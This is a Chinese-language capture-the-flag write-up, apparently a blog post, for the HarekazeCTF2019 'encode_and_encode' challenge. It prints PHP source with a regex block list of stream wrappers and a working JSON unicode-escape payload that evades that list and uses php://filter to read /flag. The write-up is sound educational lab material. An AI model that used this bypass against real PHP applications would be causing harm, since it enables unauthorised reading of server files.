[HarekazeCTF2019]encode_and_encode

[HarekazeCTF2019]encode_and_encode

打开网页,点击source链接,发现源代码:

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

查阅PHP手册:

implode
(PHP 4, PHP 5, PHP 7, PHP 8)
implode — 将一个一维数组的值转化为字符串

php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input的方式与$HTTP_RAW_POST_DATA数据都同样不适用于表单提交的multipart/form-data类型数据

References

file_get_contents(“php://input”)的用法

file_get_contents(“php://input”, “r”)实例介绍_php技巧_脚本之家

php file_get_contents('php://input') 详细解 | Android & HTML5

file_get_contents(‘php://input’)要接收POST数据,需要POST提交json数据并用json_encode转一下。

References

https://www.cnblogs.com/phpper/p/9574419.html

  • 仅在取值为application/x-www-data-urlencodedmultipart/form-data时(文件上传时),php会将http请求body相应数据会填入到数组 P O S T , 填 入 到 _POST,填入到 POST_POST数组中的数据是进行urldecode()解析的结果。
  • 只要Content-Type不为multipart/form-dataphp://input会填入post数据。
  • 仅当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据才是一致的。

References

输入流 php://input

JSON 在decode时 会把\U****给转义。那么就可以绕过黑名单了。

References

https://mayi077.gitee.io/2020/05/21/HarekazeCTF2019-encode-and-encode/

payload:

{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

在响应中得到内容:

{"content":"ZmxhZ3swYTIxNTE2MC03NTM3LTQ5YTctYmFlMC1jYTE5YmQ1ZDI1Y2F9Cg=="}

base64解码后得到flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值